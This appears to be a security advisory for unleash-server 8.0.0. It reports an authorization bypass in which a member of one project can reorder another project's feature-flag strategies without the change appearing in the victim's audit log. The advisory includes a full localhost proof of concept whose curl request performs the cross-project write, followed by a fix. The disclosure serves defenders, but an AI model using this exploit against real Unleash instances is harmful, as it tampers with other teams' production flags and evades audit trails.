GHSA-5ffh-6f9q-5hhr
Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log
Quick fix
GHSA-5ffh-6f9q-5hhr — unleash-server: upgrade to the fixed version with the command below.
npm install unleash-server@8.0.3Details
## Summary
Unleash scopes write permissions per project and per environment: a user with the `UPDATE_FEATURE_STRATEGY` permission on project `A` is supposed to be able to mutate activation strategies only within project `A`. The endpoint `POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order` violates this. The RBAC middleware authorizes the request against the `:projectId` taken from the URL, but the handler then writes the strategy IDs supplied in the request *body* directly to the database by primary key, **without ever verifying that those strategy IDs actually belong to the URL's project / feature / environment**. A low-privilege member of any one project can therefore reorder the activation strategies of features in *any other project and environment* — including projects they have no role on at all — by putting their own project in the URL (to satisfy RBAC) and the victim project's strategy IDs in the body.
The sibling write paths in the same service (`updateStrategy`, `patchStrategy`, `deleteStrategy`) all call `validateUpdatedProperties()`, which rejects a strategy whose stored `projectId`/`featureName` does not match the URL context. The `set-sort-order` handler is the one sibling that omits this check — an asymmetric, incomplete enforcement. Activation-strategy ordering is security-relevant: the first matching strategy determines a flag's rollout/variant outcome, so an attacker can flip which strategy "wins" for another team's feature flag in production. As a secondary effect, the operation that mutates the victim's strategies is recorded (if at all) under the *attacker's* project/feature context, so the tampering does not appear in the victim project's audit trail.
## Affected code (v8.0.0)
The route is registered with the project-scoped permission `UPDATE_FEATURE_STRATEGY` (correct), and the handler forwards the URL params as the "context" plus the raw request body:
`src/lib/features/feature-toggle/feature-toggle-controller.ts` ```ts { method: 'post', path: `${PATH_STRATEGIES}/set-sort-order`, handler: this.setStrategiesSortOrder, permission: UPDATE_FEATURE_STRATEGY, // ... }
async setStrategiesSortOrder(req, res): Promise<void> { const { featureName, projectId, environment } = req.params; await this.transactionalFeatureToggleService.transactional((service) => service.updateStrategiesSortOrder( { featureName, environment, projectId }, // URL context only req.body, // attacker-controlled [{id, sortOrder}] req.audit, ), ); res.status(200).send(); } ```
The service writes each body-supplied `id` directly. It reads the URL-context strategies only to build the audit-event payload (`existingOrder`/`newOrder`); it never validates that the IDs in `sortOrders` belong to that context:
`src/lib/features/feature-toggle/feature-toggle-service.ts` ```ts async unprotectedUpdateStrategiesSortOrder(context, sortOrders, auditUser): Promise<Saved<any>> { const { featureName, environment, projectId: project } = context; const existingOrder = (await this.getStrategiesForEnvironment(project, featureName, environment)) .sort(sortStrategies).map((s) => s.id); // ... await Promise.all( sortOrders.map(({ id, sortOrder }) => this.featureStrategiesStore.updateSortOrder(id, sortOrder), // NO project/feature/env check ), ); // ...event built from the URL context, not from the strategies actually mutated... } ```
The store updates by primary key with no scoping predicate:
`src/lib/features/feature-toggle/feature-toggle-strategies-store.ts` ```ts async updateSortOrder(id: string, sortOrder: number): Promise<void> { await this.db<IFeatureStrategiesTable>(T.featureStrategies) .where({ id }) .update({ sort_order: sortOrder }); } ```
Contrast the sibling mutators, which DO bind the target strategy to the URL context (`validateUpdatedProperties` throws `InvalidOperationError` when `existingStrategy.projectId !== projectId` or `existingStrategy.featureName !== featureName`):
```ts // unprotectedUpdateStrategy / patchStrategy / deleteStrategy: const existingStrategy = await this.featureStrategiesStore.get(id); this.validateUpdatedProperties(context, existingStrategy); // <-- the check set-sort-order is missing ```
## Attacker model / precondition
The attacker is an authenticated Unleash user who holds the `UPDATE_FEATURE_STRATEGY` permission on at least one project — i.e. any standard project member/editor, the second-lowest privilege tier. They do not need any role on the victim project. The precondition is a multi-project instance: project creation and per-project roles are Pro/Enterprise features, so this is the normal Unleash Pro/Enterprise deployment shape (the OSS edition pins everything to the single `default` project, which removes the cross-project dimension but the same missing-binding defect still allows reordering strategies of any feature/environment within `default`). The attacker must know (or enumerate) the target strategy UUIDs; strategy IDs are surfaced through several admin/read endpoints and are guessable in scope by a user who can read project listings. Change Requests do not mitigate it: the `stopWhenChangeRequestsEnabled` gate is evaluated against the attacker's own URL project, not the victim's, and Change Requests are off by default. The integrity impact is bounded to the `sort_order` column (the attacker cannot change parameters, constraints, or segments via this endpoint), which is why this is rated Medium rather than High.
## Impact
A project member can silently alter the activation-strategy evaluation order of feature flags in projects and environments they have no authorization over. Because Unleash evaluates strategies in order and the first enabling strategy decides a flag's served value/variant, reordering can change a production flag's rollout behaviour for another team — e.g. promoting a permissive `flexibleRollout`/`default` strategy ahead of a restrictive `userWithId`/constraint-gated one, effectively turning a flag on (or changing which variant is served) for users the owning team intended to exclude. This is a cross-tenant integrity / authorization-bypass write. It additionally undermines accountability: the mutation is attributed to the attacker's URL context rather than the victim feature, so the change is absent from the victim project's audit/event history (in the lab the successful cross-project write produced no `feature-strategy-update` event for the victim feature at all), hampering detection and forensics.
## Proof of Concept (complete — runs on 127.0.0.1 only)
Lab only. Everything binds to `127.0.0.1`; no hosted instance is touched. Requires Docker.
### 1. Start PostgreSQL and Unleash v8.0.0
```bash docker network create unleash-poc
docker run -d --name unleash-pg --network unleash-poc \ -e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \ postgres:16-alpine sleep 8
docker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \ -e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \ -e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \ -e INIT_ADMIN_API_TOKENS='*:*.unleash-insecure-admin-api-token' \ unleashorg/unleash-server:8.0.0 sleep 25 curl -s http://127.0.0.1:4242/health # {"health":"GOOD"} ```
### 2. Simulate a Pro/Enterprise (multi-project) deployment
Per-project roles and >1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the `default` project via an unrelated edition gate (`resolveIsOss`). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable `set-sort-order` code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.
```bash # Force resolveIsOss() to return false (== "this is a Pro/Enterprise deployment"). docker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js python3 - <<'PY' s=open('/tmp/cc.js').read() old=""" return testEnvironmentActive ? (isOssOption ?? false) : !isEnterprise && uiEnvironment?.toLowerCase() !== 'pro';""" assert old in s s=s.replace(old," return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)") open('/tmp/cc.js','w').write(s) print("patched edition gate") PY docker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js docker restart unleash-srv && sleep 22 ```
### 3. Seed two projects (`victim`, `attacker`) and link them to environments
```bash docker exec unleash-pg psql -U unleash -d unleash -c \ "INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');" docker exec unleash-pg psql -U unleash -d unleash -c \ "INSERT INTO project_environments (project_id, environment_name) VALUES ('victim','development'),('victim','production'), ('attacker','development'),('attacker','production');" ```
### 4. Create the victim feature with two strategies, and an attacker feature
```bash B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token' H="-H Authorization:$ADMIN -H Content-Type:application/json"
curl -s -X POST $H $B/api/admin/projects/victim/features -d '{"name":"victimFlag","type":"release"}' >/dev/null S1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \ -d '{"name":"flexibleRollout","parameters":{"rollout":"10","stickiness":"default","groupId":"victimFlag"}}' \ | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])") S2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \ -d '{"name":"default","parameters":{}}' \ | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])") echo "victim strategies: S1=$S1 (sort 0) S2=$S2 (sort 1)"
curl -s -X POST $H $B/api/admin/projects/attacker/features -d '{"name":"attackerFlag","type":"release"}' >/dev/null curl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \ -d '{"name":"default","parameters":{}}' >/dev/null ```
### 5. Create a low-privilege attacker user (`Member` of `attacker` ONLY, no role on `victim`)
```bash # Viewer root role (id 3) -> no project write anywhere by default. curl -s -X POST $H $B/api/admin/user-admin \ -d '{"email":"mallory@example.com","name":"Mallory","rootRole":3}' >/dev/null curl -s -X POST $H $B/api/admin/user-admin/2/change-password \ -d '{"password":"Str0ng-PoC-pass!9x"}' >/dev/null
# Grant the project "Member" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' only. docker exec unleash-pg psql -U unleash -d unleash -c \ "INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');" docker restart unleash-srv && sleep 22 # pick up the seeded role ```
### 6. Run the attack
```bash B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token' CJ=/tmp/mallory.cookies; rm -f $CJ
# Log in as the low-priv user (Member of 'attacker' only). curl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \ $B/auth/simple/login -d '{"username":"mallory@example.com","password":"Str0ng-PoC-pass!9x"}'
show() { curl -s -H "Authorization:$ADMIN" \ $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \ | python3 -c "import sys,json;[print(' ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]"; }
echo '--- victim/production BEFORE ---'; show
echo '--- [negative control] Mallory -> VICTIM url directly (expect 403) ---' curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \ $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \ -d "[{\"id\":\"$S1\",\"sortOrder\":99}]"
echo '--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---' curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \ $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \ -d "[{\"id\":\"$S1\",\"sortOrder\":42},{\"id\":\"$S2\",\"sortOrder\":7}]"
echo '--- victim/production AFTER ---'; show ```
### Observed output
``` --- victim/production BEFORE --- 01KTYWRZM7ACCTQKPJJCXJB24R sort 0 01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1 --- [negative control] Mallory -> VICTIM url directly (expect 403) --- HTTP 403 --- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) --- HTTP 200 --- victim/production AFTER --- 01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7 01KTYWRZM7ACCTQKPJJCXJB24R sort 42 ```
The negative control proves RBAC correctly denies Mallory a *direct* write to `victim` (403). The attack proves that by naming her own `attacker` project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no `feature-strategy-update` event was recorded for `victimFlag`, so the tampering is absent from the victim's audit trail.
### Cleanup
```bash docker rm -f unleash-srv unleash-pg; docker network rm unleash-poc ```
## Remediation
In `unprotectedUpdateStrategiesSortOrder`, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing `validateUpdatedProperties(context, strategy)` guard (the same one `updateStrategy`/`patchStrategy`/`deleteStrategy` already use) so a mismatched `projectId`/`featureName` throws; or (2) reject any `sortOrders` entry whose ID is not present in `existingOrder` (the set of strategy IDs that genuinely belong to `{project, featureName, environment}`), which the function already computes. Additionally, scope the store write — `updateSortOrder` should constrain the `UPDATE` with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.
Please credit 5ud0 / Tarmo Technologies.
Are you affected?
Enter the version of the package you're using.